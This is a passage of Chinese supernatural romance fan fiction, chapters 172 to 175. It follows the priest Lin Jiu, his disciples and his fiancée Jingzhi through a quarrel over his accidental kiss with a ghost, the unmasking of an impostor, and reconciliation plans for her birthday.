静之朝外看去,那踏着四方步走远的,不是石坚,还能是谁。 就是脊梁不再坚挺,瞧上去一副失魂落魄样儿。 静之叹了一声,任谁家摊上这种倒霉孩子,也抬不起头来吧…… 秋生拍了拍他的肩,“行!就信你一回!僵尸林在哪?” “城北郊外。” 静之蹙起眉头,“现在就要去?不回去跟阿九商量一下吗?” 秋生指了指天上的大太阳,“现在去正正好啊,僵尸也怕阳光的,要是来回义庄一趟,太阳都下山喽。” 静之还是觉得有些玄,她张了张嘴,还想再劝劝,就被秋生抬手阻止。 “欸,你是不是不相信我啊,这段时间我也是有好好学习的,怎么对付僵尸,我可是比你清楚,这事儿就当做是我打响出师的第一枪吧。” 静之:“那我跟……” 秋生:“这回你别去,我俩自己去!” 瞧着他豪情万丈的模样,静之却是不好再说什么。 “那我先回去了哦,你照顾好你师弟。” 想了想,她又对推门出去的秋生补充一句,“日落之前没回来,我就去找你们!” 秋生挺胸抬头,嘴角牵起一个肆意的弧度,“你就放心吧!天黑前我肯定回来,我这条小命,可要留着喝你跟师父的喜酒呢!” 静之:“……嘁,油嘴滑舌。” …… 第172章 小丽 回到义庄,还没来得及跟林九讲这件事儿,她就跟一个她想破脑袋都没想到的人擦肩而过。 那人看都没看她一眼,依旧失魂落魄,甚至是有些难堪,撞开她的肩头就走了出去。 脊梁骨却是打得直直的。 静之放下东西,扯着林九的袖子进屋,小声问他: “他怎么在这儿?” 看到屋里四脚朝天的桌子,和一地碎瓷片,她的心瞬间提了起来,“你们打架了?” 林九的表情此刻莫名的一言难尽。 “他刚来不久,没打,你放心……” 林九定定的望着地上的碎瓷片,一时回不过神。 直到有一只素白的手在他眼前挥动。 他才抬起头问,“怎么了?” 静之眉头皱得死紧,“什么怎么了?我刚刚跟你说话,你不会没听见吧?” “……抱歉,你说什么了?” 静之捏了捏他懵住了的脸,“我说,你师兄怎么会来这里的,我刚刚才在镇上看到他的。” 林九任她捏着,只是又转头去看那碗水:“哦,他刚来不久,我师兄一向脚程快。” “你一直看那碎碗干什……怎么里头有血?” 她着急得拿起他的两只手翻看,“是不是割破了,是哪只手指破了?” 林九浅笑着摇摇头,眉头却是未曾松开一分,“不是我的血,是我师兄的,还有……” “还有什么?” 林九脸上的笑意消失,又恢复了刚刚一言难尽的样子。 下一秒,他的脸就被静之捧住,“还有什么,讲话讲一半,我可是会好奇死的,你快说。” 林九定定的看着静之半天,才呐呐出声,“石少坚真的不是他儿子。” “哦。。。……啊???” 林九拉着静之让她在旁边椅子上坐下,这才慢慢跟她讲了刚刚的见闻。 “那石少坚好像故意避着我师兄,他寻不到人,就找到我这儿来了。” “他本来想借我之力,找找石少坚的,有一术,用亲人之血即可寻到他的方位,然而……” 静之看着那半只还残留着淡红色血水的碗,吞了口唾沫,“然而,他发现他跟他儿……石少坚没有半分关联啊?” 林九默默闭上眼睛,点点头。 就算这只是他的猜测,但一旦证实,连他都接受无能,更别说作为当事人的石坚了。 静之心里直呼好家伙。 骗人敢骗到石坚头上,她看那个少年人是活得不耐烦了。 也难怪。 刚刚石坚出去的表情那么难看,还是在他讨厌的人面前出了糗。 要是她,掀完桌以后,绝对得当场找个洞再钻进去住个三五年。 两个人寂静了许久,静之看着外头渐渐暗下来的天色,突然一拍脑门,“哎呀,突然忘记,还有个急事儿要跟你说。” 林九:“什么事?” 这会儿,他才想起秋生和文才,“你们找到石少坚了吗?他俩怎么没一起回来?” 静之:“就是这个事儿,你师兄来你这儿之前,估计去镇上找人了,然后遇到文才,就给他说了僵尸林的事儿,他们现在去僵尸林了。” 林九心里一个咯噔,“什么僵尸林?” 静之:“就是城北郊外的僵尸林,你师兄说僵尸王里的棺材菌,可能能对付石少坚,他们两个就去了。” 林九眉头皱得死紧,“是吗?” 茅山还教了这招? 棺材菌不是阴寒之物吗? 阴寒之物碰上极阴之人,不是会让他实力更盛吗? 难道师兄有什么他不知道的秘法? 林九心里疑惑连连。 却是赶紧走到祖师爷面前,拿起条案上他平时背的布口袋就往外走。 静之立马跟上,没跟几步,就被他阻止,“你别去,小雨最近符纸都控制不住了,你待在家里看着他,别让他惊着外人。” 静之踏出门槛的脚又收了回来,“……好吧,那你一定要小心,不受伤回来的话,我就送你个礼物!” 林九眼神一柔:“……好。” 就算是为了她,他也会努力不让自己受伤的。 此时的林九没想到,他收不到那个礼物了。 …… 冷夜寂静,乌云走得有些快,一会儿遮住了月亮,一会儿又飘得老远,把一轮圆月完整的展露出来。 静之原以为他们会很快回来的,一桌菜凉了热,热了又凉。 那师徒三人,却迟迟未归。 她也没有心情吃饭,索性搬了块椅子就坐在院门口等。 突然,身后传来拖椅子的声音。 静之回头一看,小雨穿着个斗篷,拖着块椅子,半硬不软的关节咔咔作响,朝她这边一瘸一拐的走来。 要不是知道他是小雨,静之早就一把糯米撒过去了。 走得跟丧尸似的,吓死猫了。 “你出来干什么?” 见他扭着胯,费力的迈步上台阶,静之啧了一声,一手椅子,一胳肢窝夹起他,把他放在自己旁边。 小雨:“跟你,一起等。” 【一起】两个字,说得很重。 月光下,他面无表情的一张圆脸,静之莫名读出了几分认真。 她叹了口气,把他按到椅子上坐下,“等你爹回来了,再找找方法吧……” 小雨眼睫慢慢垂下,腰背打得笔直,也许他也弯不了。 他一字一句,认认真真说着: “我不,在意。这段,时间,有你们,我很,开心。” 他转头定定的看着静之说: “若是,爹要,杀我,我不会,还手的。” 静之被他说愣住了,良久,才叹了口气,拍了拍他瘦弱的肩膀。 “你……真是娘的好大儿。” 这种娃,就算不是亲生的,她也愿意养着的…… 就在这时,不远处森林里突然传来林九冷到掉渣的嗓音。 “再跟着我,我一定收了你!” 静之唰的一声站了起来,刚迈出一步,就又听到一个娇滴滴的女声。 “路又不是你家的,我想走哪儿,就走哪儿。” 静之伸出去的脚,又收了回来。 放在身侧,把玩着那瓶精致香水的手,渐渐捏得死紧。 此刻月光正盛,林九从森林里的小道走出来了。 看到静之的一刹那,他面色一和,好像想到什么,抿了抿唇,放慢了脚步,又有些犹豫。 跟在他后头出来的,是一位穿着淡紫色纱裙的美……鬼。 是个鬼吧,反正以静之绝佳的视力看,她只能看到秋生和文才的两个影子。 而且重点是,她望着林九的眼神,跟她如出一辙。 是爱慕。 “……小雨,走吧,咱们进去。” 莫名,她觉得自己在门口等,像个笑话。 也不等小雨了,拿着自己的椅子,就往屋内走。 “静之!”林九看到她复杂的眼神后,心里慌的一批,但他确实…… 可他不是故意的…… “哼!这个时候才叫人家!”秋生环着胸小声吐槽,“刚刚抱着大美女亲的时候,怎么不想想我师娘!” 文才这是也格外看林九不顺眼,“就是就是。” 消失在门口的人,突然又出现了。 如果刚刚林九的语气是冷得掉渣,那她现在脸上的表情则是跟冰雕一样。 “秋生,你再说一遍,他干了什么?” 秋生看到她,赶紧放下双手,却是不敢再说话了。 坏了坏了! 忘记灵猫耳朵最灵了。 “没,没什么,我瞎说的。” 静之微眯着眼,打量着外头三人一鬼的表情。 看了许久,女鬼实在忍不住了。 “林公子,你徒弟不是说你尚未娶亲的吗?这位姑娘,又是谁呢?” 静之闭了闭眼,掉头就走。 林公子林公子,怎么听怎么不爽。 林九气急败坏,拿起个瓮就把跟进来的女鬼收进坛子里。 然后大跨步,朝亭子里背对着他的静之走去。 “静之,我不是……” 她的背影,冷得拒人于千里之外。 林九一时竟有些不敢上前。 听到说话声,静之回头,朝文才招招手,“秋生不敢说,你来说,我只问你三个问题。” 文才看了一眼她身后还在冒热气的菜,不禁眼眶一红。 他觉得自己的胆子,从来没有像现在这么大过。 文才走到她跟前,老实点头。 静之深呼吸几口气,忍下满腹怒气,才缓缓问道: “他们……亲上了?” 文才:“是。” “……嘴对嘴亲了?” 文才:“……是。” “啪!” 她手心的玻璃瓶被她捏得粉碎,玻璃渣子扎到手心里,渗出了滴滴鲜血,静之却恍若未觉。 林九倒是慌上了,他疾走两步过来,想给她看手,却被她一掌打开。 “你别碰我!” 一声厉喝,成功的让整个院子陷入死一般的寂静。 “文才,最后一个问题,是林九主动的,还是她主动的。” 都叫上林九了。 秋生心里直叫哎呦,眼睛都快剜掉了,也没能阻止文才那张此刻胆大包天的嘴。 “第一次,是师父主动的,第二次,是小丽主动的,虽然第二次没……” 秋生:“……” 他啪的一声,捂住脸不敢再看。 文才还没说完,静之如一阵风一般,脚下一点,就飞出院子…… “林九,你好得很!” …… 她走后,秋生气得直跺脚,他走过去,扇了文才后脑勺好几下,“你干嘛?!平时胆子这么小,这回倒是胆大了?!” 文才擦着眼泪,看着摆好碗筷的饭桌,委屈的说: “呜呜呜,我不想对她说谎。” “那你闭嘴也行啊!” “那她问我了,我不是还想解释呢吗……” “你嘴巴就不能快一点儿,你---” “好了!!”林九一声冷冷的怒斥,突然又让院子陷入死一般的寂静。 微风习习,一股她血液的甜腥味带着陌生的冷松香,吹到他的鼻尖。 林九蹲下身子捡起地上棕色的还带着小半个瓶身的瓶盖。 这就是她的礼物吧。 确实,是他错了。 “师父,不怪你,你是不小心的。”秋生小声劝。 林九站起身子,攥紧了那个瓶盖,任由半个瓶身扎入他的手心,感受着她刚刚的疼痛。 手心的血,一点一点滴落到地上,覆盖上她刚刚滴落在地上的血迹。 “师父……” 林九:“……看好她,我出去一下。” 坛子里的小丽:“多浪费啊,这两个人的血都香得很,给我喝就好了。” 秋生气急败坏,奔进屋内,又多拿了几张符纸出来,贴住瓮口,“想都别想,都怪你!我们才不需要你帮忙呢!” 小丽:“哎呀,碰上了都是缘,说明我跟林公子有缘啊。” “诶,你们师父有什么爱好啊?” 文才这时也硬气起来了,他也掏出一张符纸贴在瓶身上,“你问,我们就要回答吗?你跟她可不一样!” 小丽:“哪里不一样,不都是喜欢你师父吗?我都看出来了。” 文才认真的说:“她是我师娘,永远都是。” 小丽:“……你们不是说他没娶亲的吗?” 秋生看着大敞开的门唉声叹气,“哎呀,下个月他们就成亲了,你看你这事儿闹的……” 他还能有师娘吗? 小丽:“既然没成亲,那我就还有机会呀。” 文才和秋生异口同声:“肯定没有!” …… 林九又傻傻的跑到四目家找人去了。 奈何这回,静之去的是蔗姑的王母庙。 “睡前一根烟,快活赛神仙!” 蔗姑点燃烟抽了一口,缓缓吐出雾气。 刚把住门板,想把大门关上。 突然一阵风刮过来,把雾气打散。 人未到,水珠先滴到她脸上。 下一秒,还是老姿势,她一手夹烟,一手举高,任由静之搂着她的腰,枕着她的肩失声痛哭。 披在肩上的外套,早已经落在地上。 她僵在空中的手,缓缓下移,拍了拍静之抖动的肩膀,“怎么啦又?” 听到她问,静之好像找到个发泄口,直把蔗姑的腰箍得差点喘不过气来。 “呜呜呜,他平时都羞于亲我的,只敢亲亲我的额头,这回他居然去亲一个鬼!” “还是嘴对嘴!” “呜呜呜……” 蔗姑一脸震惊:“什么?!!!林正英他居然连鬼都玩上了?” 好好好。 这回她的猫猫算是送货上门了。 他最好别来求她,不然她是不会放人,不是,放猫的! 第173章 师妹你胡说什么 “怎么办,师兄?” 天刚蒙蒙亮,文才实在等不下去了,从门口的台阶上站起来,走来走去,看着一片寂静的林子。 秋生定定的看着那一桌早已凉到结冻的饭菜,猛地坐直身体,“走吧,师父估计是没找着,我觉得她可能在那儿!” 文才走过来,“在哪儿?” 秋生想了想,抱起小丽的坛子塞到小雨手中,“呐,你看好她,别让她跑了。” “走!我们去蔗姑那儿瞧瞧。” 文才眼前一亮,“对哦,我怎么没想到,她跟蔗姑最要好了。” …… 一路奔波。 秋生只看到了蔗姑,没看到静之。 “她人呢?” 蔗姑一手挡着火,一手把香伸到烛火上方点着,又瞥一眼着急的秋生,“你来有什么用啊,你师父怎么不来?” 秋生一听这话,心里就知道,这回他算是找对地方了。 他赶紧上前,咚咚咚帮蔗姑捶着背,边讪笑着说: “哎呀,我师父那人你又不是不知道,对感情一窍不通,我猜啊,他可能又跑到师叔那儿找人去了。” 蔗姑看着香上的火花熄灭,这才慢悠悠的拜几下,然后插进香炉里。 这才转身朝两个眼巴巴看着她的年轻人说:“我可不管哦,只有他来道歉,我才放她走的。” “哎呀!”秋生抓耳挠腮,又急急上前一步扯住想走到后堂的蔗姑,“事情肯定不是她说的那样的,你误会了。” “那好。”蔗姑回头,叉着腰问: “我师兄是不是跟女鬼嘴对嘴亲了?” 秋生一噎,“是,可是他——” 蔗姑手举起,做了个暂停的姿势,“那是不是他主动亲人家的呢?” 秋生头渐渐垂了下去,“……是,但是他不是故意的。” 蔗姑摊手,叹口气说: “女人啊,不管他是不是故意的,只要他真的做了,她也有资格生气。” “你解释再多也没用,你们走吧。” 见师兄灰溜溜退下,文才想了想他昨晚没说完的话,咬咬牙,还是圈着嘴大声朝后院喊: “师娘!我师父是受不了棺材菌的阴寒,才会跟小丽亲上的,他是不小心的!第二次小丽要亲他的时候,他都躲开了,没亲着!” 看他还要喊,蔗姑赶紧一把捂住他的嘴,把他往外推,“要死啊!她哭了一晚上,刚睡着,想叫你也得等人家缓过来情绪再叫!” 文才挣脱她的手,又朝里张望,“可是……” 蔗姑把秋生也推出去门口,然后两扇门一掩,“你们就想吧,如果你们喜欢的女人,跟你们说她亲到个男的,但是不是故意的,你们怎么想?而且还是在你们快成亲的时候……” 此话一出,秋生和文才欲推门的手,又缓缓放了下来。 秋生:“……那你好好照顾她。” 刚往巷子里走两步,他又回头说: “我师娘的体质最容易吸引僵尸啊,妖啊这些东西,你最好盯紧点,别让她乱跑。” 蔗姑朝他翻了个白眼,“知道啦,赶紧走赶紧走,一大早的,吵死了!” 说完,她把大门一闭,拍了拍手上的香灰,刚一转身。 “哎呦喂,你吓死我了。” 蔗姑直拍胸口,又轻轻拧了一把静之的腰。 “你不睡觉,出来干什么?” 静之肿着两只核桃眼,指了指门外,“被文才吵醒了。” “我就说。”蔗姑小声哔哔一句,赶紧扯着静之往后院走,“去睡觉去睡觉,这还没过半个时辰了,你就起了,你看看你这眼睛,丑死了!” 静之回头看了眼紧闭的大门,“你今天不开庙吗?” 蔗姑:“神仙也有休息的时候,反正我这个月还没休息,就当今天放假一天喽。” 静之定定的看着蔗姑和煦的笑容,鼻尖轻嗅,她突然皱起眉头,把住蔗姑的脸说: “我不甘心,他都能亲别的女人,我也要亲别的女人!” 蔗姑一脸惊恐,身子不住的往后仰,双手不停推着静之的肩膀: “喂喂喂,我可不是这么教你的啊,你应该去亲别的男人!” “师妹你胡说什么!” 一声怒喝传入二人耳边。 蔗姑回头一看,发现是林九站在墙头,她面色一喜,却又突然皱起眉头。 “什么叫胡说,你自己做过什么事,你自己心里清楚!” 静之悠悠的看了林九一眼,然后捏住蔗姑的下巴,用力的啵了一口她的侧脸。 林九对着蔗姑怒目圆睁:“你!你放开她!” “欸——不是,是她主动的,不是我!哎呀,你们——” 蔗姑捂着湿漉漉的脸颊,平时能说会道的嘴突然磕巴上了。 看着林九越来越沉的脸色,蔗姑只觉得脖子凉凉的。 她脚一跺,用力挣脱静之的桎梏。 “哎呀,我不管了啦!你们自己聊!” 说完,便自己跑到后院去了,就留下两个吵架的情侣相对而站。 确切的说,是林九站在人家墙头,俯视着底下的静之。 她不服输似的,直接纵身一跃,飞到屋顶站着,俯视他。 是他做错了,她可不能输了气势。 “你回去吧。”她说。 林九看着她手上包扎好的伤口,这才放下心来。 他从怀里掏出一小瓶同款的冷松香的香水,眼巴巴的仰视沐浴在阳光里的静之,“跟我一起回去好不好,礼物……我收到了。” 静之唰的侧过头,忍下眼里又涌上来的热意,“没有礼物了,就算你拿一百个一样的东西过来,它也不是我要送你的那个……” 他们……这也算是两败俱伤了。 林九落寞的垂下手,“对不起,都是我不好,又惹你伤心了……” 静之:他是不是,连解释,也懒得解释了…… 林九又说:“我不奢求能得到你的原谅,我会做给你看的。” 他始终牢牢记得她之前说过的话。 有些话,不能只是说说的而已。 要用心去做。 说完,他收起那瓶冷松香,却又从怀里掏出一瓶半透明磨砂质地的玻璃小瓶子。 静之一眼就认出,那是她当时纠结要不要买的檀香味的香水。 “这么久了,我……是我愚钝,不知道你喜欢什么,只知道你好像很喜欢闻我身上的味道,这个……送给你。” 林九也不敢过去,怕惹她心烦。 只贪恋的看了一眼她有些憔悴的侧颜,然后把香水放在墙头,就朝外面的巷子一跃而下。 下去后,他朝里面喊,“你放心,你不原谅我,我是不会进去的。 “我会一直……在这里等你。” “一起回家。” 静之这时才想起刚刚他举起的手,手心那裂开的伤口。 于是,她从房顶一跃而下。 也不管外头林九能不能接住,就接住蔗姑递过来的金疮药一把丢出墙头,“随便你,你要等就等!” 耳朵尖却竖了起来。 没有碎裂声。 那他应该是接住了。 切,睡觉。 蔗姑看着那瓶在阳光中闪闪发亮的香水,转头问她,“诶,那东西你不要啊?” 静之回房的脚步一顿,沉默了一会儿,才说:“……不知道。” 蔗姑:“……什么叫不知道?等会给大风刮下来,那可是玻璃做的!” 她看了一眼越走越快,连裙角都往后飘的身影,眼里突然划过一丝狡黠。 “诶诶诶,好像要掉下来啦!风太大——” 话还没说完,一道白色的身影折返回来,直奔刚刚林九站的位置。 蔗姑还没回过神,静之以更快的速度飞回房中,袖子一挥,双门紧闭。 她再回头看去,墙上光秃秃的,哪里还有什么小玻璃瓶。 蔗姑小声哔哔:“一个个都嘴硬!当我这里是客栈啊。” …… 第174章 真假石坚 林九一出巷子口,就被一左一右两个徒弟挤在中间。 秋生:“师父,你怎么这么快,你不是去师叔家了吗?” 文才:“是啊,刚刚怎么没看到你?” 林九紧紧捏着手中带有她余温的药瓶子,大步朝前走去,低落的心情,突然有了一丝回暖。 “你师父我是这么笨的人吗?” 秋生摸了摸鼻子,小声嘀咕:“那怎么现在才来?” 林九斜了他一眼,懒得跟他解释。 一开始,他确实是朝四目家走没错。 走到一半,他又想明白了。 一个抠门暴脾气老男人。 跟一个她喜欢的好闺蜜。 用膝盖想,都知道她会去哪里。 一开始……不过是他急昏头罢了。 走着走着,秋生突然止住脚步,露出一副便秘的表情,“师父,你要去石家村啊?” 林九回头,“你不想去的话,就回去看着小雨……跟那个女鬼。” 秋生:“人家有名字的,叫小丽。” 林九冷冷的看着他,嘴角渐渐向下撇。 秋生缩了缩脖子,不敢再口花花,他清了清嗓子问道: “去石家村干什么?水井他们也打了,那洋僵尸也灭了,人家风水现在又好起来了。” 林九背着手反问,“昨晚你们对嘴棺材菌给你们师伯的时候,有没有发现什么异常?” 秋生:“这个……特别伤心算不算啊?” 文才皱眉想了会儿,也说:“我最后把棺材菌对到他嘴上的,师伯的嘴冷得吓死人,比棺材菌还冷。” 林九伸出完好的那只手,“握握看。” 秋生低头看着那只红润修长的手,摸了摸后脖子,一脸尬笑说: “师父,我只喜欢女的。” 文才插一句,“只喜欢漂亮的。” 秋生比划一下拳头,“找死啊?” 文才眨巴着眼睛,“难道你喜欢丑的?” “……” 秋生默默把拳头收了回去。 林九一人给了他们脑门一下,“不知所谓。” 石家村离任家镇有点远,这儿还没收到风声,他们此时来这里,倒是没有引起多少人围观。 林九边慢慢走着,边跟他俩解释。 “修道之人,不仅火力旺盛,修行久了,像你师伯这样的,经脉畅通,体温自然会比常人略高一些。” “我怀疑……昨晚我们见到的石坚,是别人假扮的。” 秋生:“啊?” 文才:“啊??” 林九半眯着眼,回想起静之昨天说的话,又问道: “昨天你们在街上,是不是遇到我师兄了?” 秋生:“是,还是文才叫我们看,我们才发现的。” 林九问:“姿态如何?” 文才看得最久,他最有发言权了。 “昨天我一路跟在他后面,他的背都弓着,整个人看着有点颓,我当时以为他伤心欲绝了呢。” 林九点点头,说:“那就对了,昨天师兄又来了一趟义庄,就算发生了那事儿,他的脊背一直都是挺得笔直,所以我猜,你们见到的那个,不是真的石坚。” 他师兄有着自己身为大师兄和未来掌门人的骄傲。 那脊背,从来都是打得直直的,哪里有弯腰驼背的时候了。 秋生这回才反应过来,长长的哦~了一声,给傻傻还不清楚状况的文才急的不行。 “哦什么,你倒是说呀!” 秋生眼里闪过一丝精光。 “师父,是不是告诉文才棺材菌用法的那个人,也是假的,所以棺材菌,不仅不能起到削弱石少坚的作用,可能还会让他变强?” 他接着说,“所以说,有人假借师伯的名义,欺骗我们,真正的幕后黑手,不是师伯,而是那个假扮师伯的驼背人!” “所以师父你现在过来,是要来确认一下那个人是谁的是吧?” 林九眉头一松。 心中暗道,好在他的大徒弟是个机敏的人。 不然,他可就后继无人了。 “是这样。” 文才悻悻闭嘴。 所以他又好心干坏事了? 秋生看他哭丧着脸,忍不住拍了拍他的肩膀,“不怪你,他连师伯都敢骗,怎么会放过你这种小菜鸡呢。” 文才斜他一眼:“……你这是在安慰我,还是在骂我?” 秋生捏了捏他的老脸,“文才啊,我看你最近有点飘啊,敢拿这种眼神看你师兄我?” 突然,林九停下脚步,沉声说道: “到了,都小心点。” 打闹的两人瞬间噤声。 毕竟,道术能和他师父以及师伯旗鼓相当,短时间内还能不被他们发现的,一定也是个实力高强的人。 二人不断吞着口水,跟在他们师父后头,往石坚家的院子里走去。 刚一踏进门口,就看到石坚大开杀戒的一幕。 那脖子被拧断的嘎嘣一声响,吓得二人腿肚子都在抖。 石坚听到声音,红着眼眶抬起头。 看到是林九,他下巴一扬,把石少坚的尸体往地上一丢,负手背过身去。 “来了也好,这竖子敢欺骗与我,还残害我门内中人。” “杀了他,也算是对你们有个交代。” 秋生和文才暗戳戳抬眼,看了一眼祭坛前石坚的背影。 挺拔竖直,坚韧不屈,像直立着的竹竿。 背在身后的手,红润有血色,一点都不像手心冰凉之人会泛着青紫。 幸好,幸好! 两个人从来没有一次像此刻一样庆幸,庆幸眼前的人真是他们的大师伯。 秋生眼神不由自主的朝地上的尸体看去,那石少坚的面容,已经不是正常人的样子了,反而有点僵尸化。 獠牙突出嘴唇,刚死之人,面色却青白得如同死了一个月一样。 看来,那假的石坚已经将棺材菌喂给石少坚了吧。 只是没想到,他们大师伯实力确实牛逼,他们刚刚走到门口了,都没听到半点打斗声。 秋生心想,他大师伯不会是一招就解决了他的假儿子了吧? 林九也看到了尸体了,他朝石坚的背影拱手说道: “师兄大义,实在令我等佩服。” 就算是养条狗,养个四五年也会产生感情的,石坚忍不住叹了一声,朝他们扬扬手,“你们走吧,我……不日也要回茅山了。” 林九看着他师兄挺直的背影,突然莫名有些心疼他。 但是这种事,只能靠时间抚平一切,越劝他还会越难堪…… 林九道了声告辞,后退几步,才转身走了出去。 …… 出了石坚家院子,文才疑惑问道: “师父,幕后凶手还没抓呢,你怎么不请大师伯一起帮忙啊?” 秋生白他一眼,又回头看了一眼后头冷冷清清的院子,“是不是傻,师伯刚刚才杀了他的假儿子,你没看他眼睛都红了吗?还不兴人家缓一缓情绪啊!” 林九则说,“大师兄他……睚眦必报。我看,不用我求他,回茅山前,他一定会有动作的。” 秋生乐了,“那感情好,那我们怎么办?” 林九:“你们去把小雨带到蔗姑那里去。” 秋生偷偷打量了一下他的脸色,“师父,你是不是要在王母庙附近住啊,那……小丽怎么办?” 林九脚步一顿,垂眸想了一会儿,才说: “送到你师伯那里,托他送她入轮回吧,也算是谢谢她帮了我们忙。” 【谢谢】两个字,林九说的咬牙切齿。 秋生不禁抖了一下身子。 我嘞个乖乖! 还说大师伯呢,他看【睚眦必报】这四个字,也能安在他师父头上。 秋生问:“师伯会不会一掌奔雷拳……教她做鬼啊?” “嗯?”林九睨他一眼,“我刚刚是怎么交代的,就说她帮过我们。” 【帮】这个字,又被他加重语气。 秋生一时有些摸不着头脑,他师父到底是想整她,还是真想帮她入轮回。 算了,反正他照做就是了。 秋生万万没想到,这小丽的眼睛就不知道咋长的。 她还就喜欢道士。 越高冷的那种,她越爱! 某天,他看着被小丽追着跑的石坚,那眼珠子简直都要脱了窗。 以后的秋生: 话说,师伯怎么不一拳送她上西天呢? 啧,一定有猫腻! …… 第175章 她的生日要到了 林九交代好一切以后,就收拾了行李,到蔗姑家附近的旅馆住下。 那个他第一次站的墙头,成为他最经常去的地方。 不是站着,就是坐着。 脸却是一直朝着她房间的方向。 看着她和蔗姑打闹。 看着她一点一点教小雨走路。 看着她教得不耐烦了,还会一胳肢窝把孩子夹着走。 林九无声的笑了。 这半个月以来,他偷偷去问了他师兄,控制小雨的方法找到了,但他依旧不敢进去。 …… 蔗姑看着那墙头上留下的香水瓶子,忍不住叹了口气,她朝着在院子里无所事事晃悠的静之喊,“诶,你的情人又给你送东西了。” 喊完她又小声碎碎念,“师兄真是笨死了,光送香水有什么用,她那儿香水都一箩筐了,各种味道的都有。” 静之拿了东西,一跃而下,凑过去问,“你说什么?” 蔗姑突然很忙,“哎呀,前头突然有人要来问米,不跟你说了,我先去忙了!” 说完,转头就走,还把后院的门贴心的关上了。 林九稍微站远了一些,看到墙头的东西被她拿进去以后,他浅浅一笑,便转身走了。 还没走两步,就突然被从后头扯住胳膊。 一股脂粉香传来,林九脑子里意识到是个女人的时候,赶紧挣脱开,然后连连快走好几步,才转头看了一眼。 “……师妹,你干什么?” “做得很好,保持住啊。”蔗姑一手撑墙,吊儿郎当看着他笑,“这样就对了嘛,有对象的男人,也要守男德!” “站好!” 看着蔗姑条件反射站直身体,他才接着说,“你要是来教训我的话,那我就先走了。” “诶诶,别!” 看他还在走,蔗姑赶紧快走几步,越过他,张开手围住他的路。 “还有半个月,你跟她的大喜日子就到了诶,你不打算将她带回去吗?” 林九默默低下了头,“她还没原谅我,不会跟我走的。” 蔗姑靠近一步,回头小心看了一眼虚掩着的门,才转回头对林九说: “三天后是她的生日,我会邀请她的朋友来这里玩,你再给她准备个生日礼物,然后趁她开心跟她再道个歉呗,说不定,她就愿意跟你回去了。” 林九突然抬起头,看了蔗姑几秒,才慢慢说道: “谢谢。” 蔗姑无所谓的扬扬手,“得你一句谢真是不容易,行啦,你快回去想想吧,时间有些紧急,你赶紧搞啊,有没有老婆,就看这一把了。” 林九点点头,带着深思的表情,快步离去。 “行啦!”蔗姑朝门外藏着的人说,“你还真打算在我这儿长住啊?我是不介意,但我刚刚都不忍心看我师兄的脸了。” 门吱呀一声打开条缝。 静之的脸色是藏不住的担忧,“他脸怎么了?” “跟你一样,都瘦了。” 蔗姑环着胸慢慢走近,“担心他啊?” 她捏捏静之也瘦下来的脸蛋说,“何必互相折磨呢,我看你气也消了,三天后,给他个台阶,让他下了呗。” 静之扭捏着拨下她的手,还在嘴硬,“看他表现,表现不好,我就在你这住一辈子!” 蔗姑摊手,“反正我是无所谓,你来了都热闹很多哦,就是每次都要帮你挡另外一个人,有些烦。” 静之问:“谁啊?” 说人人到。 蔗姑朝巷子口走近的翩翩男子扬了扬下巴,“一个大夫,几乎天天都来我这庙里,都要跟师兄一样勤了。” 静之定睛一看,赶紧扯着还在观望的蔗姑进屋。 大门轻轻合上,然后朝蔗姑“嘘”了一声。 “静之,我看到你了,不出来见见我吗?” 蔗姑疯狂朝她打了几个手势,她看不懂。 但是通过她揶揄的笑容来看,她要表达的意思,忍不住让静之翻了个白眼。 门栓一拉,大门吱呀一声打开。 静之板着脸走出去。 仲尧眼前一亮,立马迎了上去。 “静之,你出来啦?怎么搬到这儿住了?” 他心中暗喜,他已经打听过了,那林九天天也来这里蹲人,他俩肯定是吵架了。 “不关你的事。” 仲尧脸一僵,他又笑着说,“不是说改天要请我喝酒,要不今天一起喝点?” 静之:“我戒酒了。” 仲尧:“那……一起吃个饭?” 静之眉头渐渐皱了起来:“你条件很好,长得又帅又高,家里还有钱,你还有自己的事业,人也有能力……” 就这一通夸,给躲在巷子口偷听的林九听得透心凉。 他不帅,也不高。 说到钱,可能也没有仲尧有钱,还老,她当初选择跟他在一起,到底是图什么? “但是。” 一个【但是】,成功让两个男人的心提了起来。 她很认真的说:“这辈子,就算我不跟林九在一起,我想……我会选择孤独终老。” 她坚定的话语犹如一道雷劈向了仲尧,使得他不禁后退了几步。 他的笑容渐渐变得难看,“不试试看,怎么会知道呢?” 静之叹了口气,往回走到屋檐下,又回头说: “我话已经放在这里,你接下来要如何,我都不会再回应你了,你还是趁早死心吧。” 蔗姑伸出个头说: “你死心吧,她的心现在比山上的泉水还冷!” 仲尧见看不到她人了,笑容缓缓收起,皱着眉看了一眼脸圆圆的蔗姑,“不关你事。” 蔗姑一噎,把头缩回去,“哐”的一声,把门关上。 “长得倒是人模狗样,就是没礼貌。” 躲起来的林九,见他们不欢而散,一颗提在喉头的心,终于放回肚子里。 …… 晚上,他叫了秋生来到他旅馆的房间谈话。 “你说……她平时有什么爱好?” 秋生坐在椅子上,手肘撑着桌子,捧着脸反问他: “你没发现吗?” 林九瞪大眼,“我发现了还用问你?!” 秋生这会儿也不害怕林九了,他把头凑近一点,看着他师父恼羞成怒的脸说: “她的爱好,不就是你吗?她所做的一切,都是关于你的,我看啊,她爱你爱得都失去自我了!” 不得不说,秋生一个旁观者看得倒是清楚,总结得也很好。 林九回忆起他们相处的片段,发现好像还真是这样呢。 他除了为她做过几顿饭,就再也没为她做过什么了…… 瞪大的眼,慢慢阖下,挺直的脊背,也慢慢往后靠到椅背上。 秋生看着他师父这副半死不活的样儿,忍不住想说他。 “你平时多关注一点她嘛,她真是我看过对你最好的人,亲妈都没她对你好,她对你好,连带着我跟文才都享福喽,我姑妈有时候都没对我这么好!” 林九倒是没有再反驳他的话了,“我知道了。” 秋生叹了口气,终是给他支了个招,“道歉嘛,总是要拉下脸,你不能老这么端着,又不是比武。” “我看她上回去看戏挺开心的,要不,你再邀她一起去看戏呗?” 林九愣愣的看着他的大徒弟,好半晌,才缓缓说了句,“我会考虑的。” 秋生看他这副对待感情的温吞样儿,早就不耐烦了,于是往他手里塞了两张票。 “呐,我知道三天后是她的生日,吃完晚饭,你就带她一起去看戏,票给你,就在镇子上。” 林九低头看着手里的票,有些犹豫,低声说: “我怕她不愿意。” 秋生哎呀一声,“这有什么,我和文才也买了票的,蔗姑也买了票,到时候大家都一起去,她应该就不会拒绝了。” 林九一时竟觉得是秋生自己压抑太久了,纯粹是他自己想去happy一把,才提出的这个法子。 